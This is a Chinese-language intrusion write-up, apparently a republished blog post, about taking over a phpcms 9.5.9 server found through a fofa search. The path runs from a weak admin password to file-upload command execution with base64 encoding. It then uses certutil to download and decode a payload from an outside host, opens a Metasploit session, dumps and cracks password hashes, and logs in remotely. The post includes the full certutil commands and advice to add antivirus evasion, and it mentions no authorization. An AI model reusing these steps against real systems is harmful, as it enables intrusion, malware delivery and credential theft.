前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记录一次从弱口令到远程登陆

记录一次从弱口令到远程登陆

作者头像
潇湘信安
发布2020-12-25 11:10:54
1.1K0
发布2020-12-25 11:10:54
举报
文章被收录于专栏:潇湘信安

该目标起源于,通过fofa搜索“xx网络”,然后通过弱口令拿到了该后台权限,在后台发现这套系统为phpcms 9.5.9。

图片
图片

于是看看网上有没有历史漏洞,同时也问了一下好友@RG师傅,他找到一个历史漏洞文章:

  • https://www.cnblogs.com/str1ve/p/13381676.html

我们在用户->管理会员->添加会员模块中进行文件上传

图片
图片

这是a.txt的内容,通过file_put_contents进行文件写入

图片
图片

但是这样文件上传会有一个问题,就是他这里可能会拦截或者解析不到你的命令,只能解析phpinfo()

图片
图片

但是如果执行别的命令就不行,比如whoami

图片
图片

考虑把内容进行base64编码一下试试

图片
图片

然后执行命令,就没有报错了,我们执行命令也要记得base64编码一下

图片
图片

既然可以执行命令,我这里尝试了hta上线和powershell上线,可能因为机器是腾讯云的缘故给我拦截了,于是请教了3h师傅,他和我说可以使用Windows系统中的Certutil/Bitsadmin/Powershell等命令来下载文件,命令是3h师傅整理的,在这里贴出来。

Certutil:
  • %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
代码语言:javascript
复制
下载文件:
certutil -urlcache -split -f http://192.168.1.108/payload.exe C:\ProgramData\payload.exe
certutil -urlcache -split -f http://192.168.1.108/base64.txt b64 & certutil -decode b64 C:\ProgramData\payload.exe & del b64

删除指定缓存:
certutil -urlcache -split -f http://192.168.1.108/base64.txt delete

查看所有缓存:
certutil -urlcache *

删除所有缓存:
certutil -urlcache * delete

于是使用CertUtil远程文件下载,首先看一下当前文件路径,然后将命令编码一下再执行。

图片
图片
图片
图片

再次进行编码执行刚刚下载的文件得到MSF会话!

图片
图片
图片
图片

抓明文,但是抓不到

图片
图片

因为网站是phpstudy搭建,权限比较高,我们可以直接导出hash

图片
图片

解密hash

图片
图片

接下来远程登陆

图片
图片

总结:内网这块是3h师傅负责打的,思路很明确,当初在命令执行的时候考虑过直接创建用户,但是失败了就没再考虑,能执行系统命令的时候可以使用Windows自带的文件来下载工具,如目标有杀软时请自行做下免杀处理。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Certutil:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档